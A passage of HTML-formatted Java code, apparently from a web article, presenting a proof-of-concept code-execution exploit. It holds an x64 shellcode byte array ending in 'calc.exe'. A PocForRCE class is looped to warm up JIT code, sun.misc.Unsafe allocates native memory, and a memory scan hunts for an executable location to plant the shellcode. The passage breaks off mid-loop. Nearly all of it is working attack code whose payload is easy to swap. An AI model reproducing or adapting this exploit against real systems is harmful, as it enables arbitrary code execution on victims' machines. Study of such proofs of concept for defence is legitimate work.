class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x50</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x48</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x0f</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xb7</span>,</span></code><code><span class="code-snippet_outer">                        (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x4a</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x4a</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x4d</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x31</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xc9</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x48</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x31</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xc0</span>,</span></code><code><span class="code-snippet_outer">                        (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xac</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x3c</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x61</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x7c</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x02</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x2c</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x20</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x41</span>,</span></code><code><span class="code-snippet_outer">                        (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xc1</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xc9</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x0d</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x41</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x01</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xc1</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xe2</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xed</span>,</span></code><code><span class="code-snippet_outer">                        (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x52</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x41</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x51</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x48</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x8b</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x52</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x20</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x8b</span>,</span></code><code><span class="code-snippet_outer">                        (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x42</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x3c</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x48</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x01</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xd0</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x8b</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x80</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x88</span>,</span></code><code><span class="code-snippet_outer">                        (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x00</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x00</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x00</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x48</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x85</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xc0</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x74</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x67</span>,</span></code><code><span class="code-snippet_outer">                        (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x48</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x01</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xd0</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x50</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x8b</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x48</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x18</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x44</span>,</span></code><code><span class="code-snippet_outer">                        (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x8b</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x40</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x20</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x49</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x01</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xd0</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xe3</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x56</span>,</span></code><code><span class="code-snippet_outer">                        (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x48</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xff</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xc9</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x41</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x8b</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x34</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x88</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x48</span>,</span></code><code><span class="code-snippet_outer">                        (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x01</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xd6</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x4d</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x31</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xc9</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x48</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x31</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xc0</span>,</span></code><code><span class="code-snippet_outer">                        (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xac</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x41</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xc1</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xc9</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x0d</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x41</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x01</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xc1</span>,</span></code><code><span class="code-snippet_outer">                        (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x38</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xe0</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x75</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xf1</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x4c</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x03</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x4c</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x24</span>,</span></code><code><span class="code-snippet_outer">                        (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x08</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x45</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x39</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xd1</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x75</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xd8</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x58</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x44</span>,</span></code><code><span class="code-snippet_outer">                        (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x8b</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x40</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x24</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x49</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x01</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xd0</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x66</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x41</span>,</span></code><code><span class="code-snippet_outer">                        (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x8b</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x0c</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x48</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x44</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x8b</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x40</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x1c</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x49</span>,</span></code><code><span class="code-snippet_outer">                        (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x01</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xd0</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x41</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x8b</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x04</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x88</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x48</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x01</span>,</span></code><code><span class="code-snippet_outer">                        (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xd0</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x41</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x58</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x41</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x58</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x5e</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x59</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x5a</span>,</span></code><code><span class="code-snippet_outer">                        (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x41</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x58</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x41</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x59</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x41</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x5a</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x48</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x83</span>,</span></code><code><span class="code-snippet_outer">                        (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xec</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x20</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x41</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x52</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xff</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xe0</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x58</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x41</span>,</span></code><code><span class="code-snippet_outer">                        (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x59</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x5a</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x48</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x8b</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x12</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xe9</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x57</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xff</span>,</span></code><code><span class="code-snippet_outer">                        (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xff</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xff</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x5d</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x48</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xba</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x01</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x00</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x00</span>,</span></code><code><span class="code-snippet_outer">                        (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x00</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x00</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x00</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x00</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x00</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x48</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x8d</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x8d</span>,</span></code><code><span class="code-snippet_outer">                        (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x01</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x01</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x00</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x00</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x41</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xba</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x31</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x8b</span>,</span></code><code><span class="code-snippet_outer">                        (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x6f</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x87</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xff</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xd5</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xbb</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xf0</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xb5</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xa2</span>,</span></code><code><span class="code-snippet_outer">                        (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x56</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x41</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xba</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xa6</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x95</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xbd</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x9d</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xff</span>,</span></code><code><span class="code-snippet_outer">                        (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xd5</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x48</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x83</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xc4</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x28</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x3c</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x06</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x7c</span>,</span></code><code><span class="code-snippet_outer">                        (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x0a</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x80</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xfb</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xe0</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x75</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x05</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xbb</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x47</span>,</span></code><code><span class="code-snippet_outer">                        (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x13</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x72</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x6f</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x6a</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x00</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x59</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x41</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x89</span>,</span></code><code><span class="code-snippet_outer">                        (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xda</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xff</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xd5</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x63</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x61</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x6c</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x63</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x2e</span>,</span></code><code><span class="code-snippet_outer">                        (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x65</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x78</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x65</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x00</span></span></code><code><span class="code-snippet_outer">                };</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        Unsafe <span class="code-snippet__keyword">unsafe</span> = <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            Field field = sun.misc.Unsafe.class.getDeclaredField(<span class="code-snippet__string">&#34;theUnsafe&#34;</span>);</span></code><code><span class="code-snippet_outer">            field.setAccessible(<span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">unsafe</span> = (sun.misc.Unsafe) field.<span class="code-snippet__keyword">get</span>(<span class="code-snippet__literal">null</span>);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (Exception e) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> AssertionError(e);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">long</span> size = buf.length+<span class="code-snippet__number">0x178</span>; <span class="code-snippet__comment">// a long is 64 bits (<a href="http://docs.oracle.com/javase/tutorial/java/nutsandbolts/datatypes.html)" target="_blank">http://docs.oracle.com/javase/tutorial/java/nutsandbolts/datatypes.html)</a></span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">long</span> allocateMemory = <span class="code-snippet__keyword">unsafe</span>.allocateMemory(size);</span></code><code><span class="code-snippet_outer">        System.<span class="code-snippet__keyword">out</span>.println(<span class="code-snippet__string">&#34;allocateMemory:&#34;</span>+Long.toHexString(allocateMemory));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        Map map=<span class="code-snippet__keyword">new</span> HashMap();</span></code><code><span class="code-snippet_outer">        map.put(<span class="code-snippet__string">&#34;X&#34;</span>,<span class="code-snippet__string">&#34;y&#34;</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">//unsafe.putObject(map,allocateMemory+0x10,ints);</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">//unsafe.putByte(allocateMemory,);</span></span></code><code><span class="code-snippet_outer">        PocForRCE poc=<span class="code-snippet__keyword">new</span> PocForRCE();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">int</span> i=<span class="code-snippet__number">0</span>;i&lt;<span class="code-snippet__number">10000</span>;i++)</span></code><code><span class="code-snippet_outer">        {</span></code><code><span class="code-snippet_outer">            poc.b(<span class="code-snippet__number">33</span>);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        Thread.sleep(<span class="code-snippet__number">2000</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">int</span> k=<span class="code-snippet__number">0</span>;k&lt;<span class="code-snippet__number">10000</span>;k++)</span></code><code><span class="code-snippet_outer">        {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">long</span> tmp=<span class="code-snippet__keyword">unsafe</span>.allocateMemory(<span class="code-snippet__number">0x4000</span>);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">//unsafe.putLong(tmp+0x3900,tmp);</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">//System.out.println(&#34;alloce:&#34;+Long.toHexString(tmp));</span></span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">long</span> shellcodeBed = <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">int</span> offset=<span class="code-snippet__number">4</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">int</span> j=<span class="code-snippet__number">-0x1000</span>;j&lt;<span class="code-snippet__number">0x1000</span>;j++)  <span class="code-snippet__comment">//down search</span></span></code><code><span class="code-snippet_outer">        {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">long</span> target=<span class="code-snippet__keyword">unsafe</span>.getAddress(allocateMemory+j*offset);</span></code><code><span class="code-snippet_outer">            System.<span class="code-snippet__keyword">out</span>.println(<span class="code-snippet__string">&#34;start get &#34;</span>+Long.toHexString(allocateMemory+j*offset)+<span class="code-snippet__string">&#34;,adress:&#34;</span>+Long.toHexString(target)+<span class="code-snippet__string">&#34;,now j is :&#34;</span>+j);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (target%<span class="code-snippet__number">8</span>&gt;<span class="code-snippet__number">0</span>)</span></code><code><span class="code-snippet_outer">            {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">continue</span>;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (target&gt;(allocateMemory&amp;<span class="code-snippet__number">0xffffffff00000000</span>l)&amp;&amp;target&lt;(allocateMemory|<span class="code-snippet__number">0xffffff</span>l))</span></code><code><span class="code-snippet_outer">            {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> ((target&amp;<span class="code-snippet__number">0xffffffffff000000</span>l)==(allocateMemory&amp;<span class="code-snippet__number">0xffffffffff000000</span>l))</span></code><code><span class="code-snippet_outer">                {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">continue</span>;</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (Long.toHexString(target).indexOf(<span class="code-snippet__string">&#34;000000&#34;</span>)&gt;<span class="code-snippet__number">0</span>||Long.toHexString(target).endsWith(<span class="code-snippet__string">&#34;bebeb0&#34;</span>)||Long.toHexString(target).endsWith(<span class="code-snippet__string">&#34;abebeb&#34;</span>))</span></code><code><span class="code-snippet_outer">                {</span></code><code><span class="code-snippet_outer">                    System.<span class="code-snippet__keyword">out</span>.println(<span class="code-snippet__string">&#34;maybe error address,skip &#34;</span>+Long.toHexString(target));</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">continue</span>;</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">                System.<span class="code-snippet__keyword">out</span>.println(<span class="code-snippet__string">&#34;BYTE:&#34;</span>+<span class="code-snippet__keyword">unsafe</span>.getByte(target));</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__comment">//System.out.println(&#34;get address:&#34;+Long.toHexString(target)+&#34;,at :&#34;+Long.toHexString(allocateMemory-j));</span></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">unsafe</span>.getByte(target)==<span class="code-snippet__number">0X55</span>||<span class="code-snippet__keyword">unsafe</span>.getByte(target)==<span class="code-snippet__number">0XE8</span>||<span class="code-snippet__keyword">unsafe</span>.getByte(target)==(<span class="code-snippet__keyword">byte</span>)<span class="code-snippet__number">0xA0</span>||<span class="code-snippet__keyword">unsafe</span>.getByte(target)==<span class="code-snippet__number">0x48</span>||<span class="code-snippet__keyword">unsafe</span>.getByte(target)==(<span class="code-snippet__keyword">byte</span>)<span class="code-snippet__number">0x66</span>)</span></code><code><span class="code-snippet_outer">                {</span></code><code><span class="code-snippet_outer">                    System.<span class="code-snippet__keyword">out</span>.println(<span class="code-snippet__string">&#34;get address:&#34;</span>+Long.toHexString(target)+<span class="code-snippet__string">&#34;,at :&#34;</span>+Long.toHexString(allocateMemory-j*offset)+<span class="code-snippet__string">&#34;,BYTE:&#34;</span>+Long.toHexString(<span class="code-snippet__keyword">unsafe</span>.getByte(target)));</span></code><code><span class="code-snippet_outer">                    shellcodeBed=target;</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">break</span>;</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (shellcodeBed==<span class="code-snippet__number">0</span>)</span></code><code><span class="code-snippet_outer">        {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">int</span> j=<span class="code-snippet__number">-0x100</span>;j&lt;<span class="code-snippet__number">0x800</span>;j++)  <span class="code-snippet__comment">//down search</span></span></code><code><span class="code-snippet_outer">            {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">long</span> target=<span class="code-snippet__keyword">unsafe</span>.getAddress(allocateMemory+j*offset);</span></code><code><span class="code-snippet_outer">                System.<span class="code-snippet__keyword">out</span>.println(<span class="code-snippet__string">&#34;start get &#34;</span>+Long.toHexString(allocateMemory+j*offset)+<span class="code-snippet__string">&#34;,adress:&#34;</span>+Long.toHexString(target)+<span class="code-snippet__string">&#34;,now j is 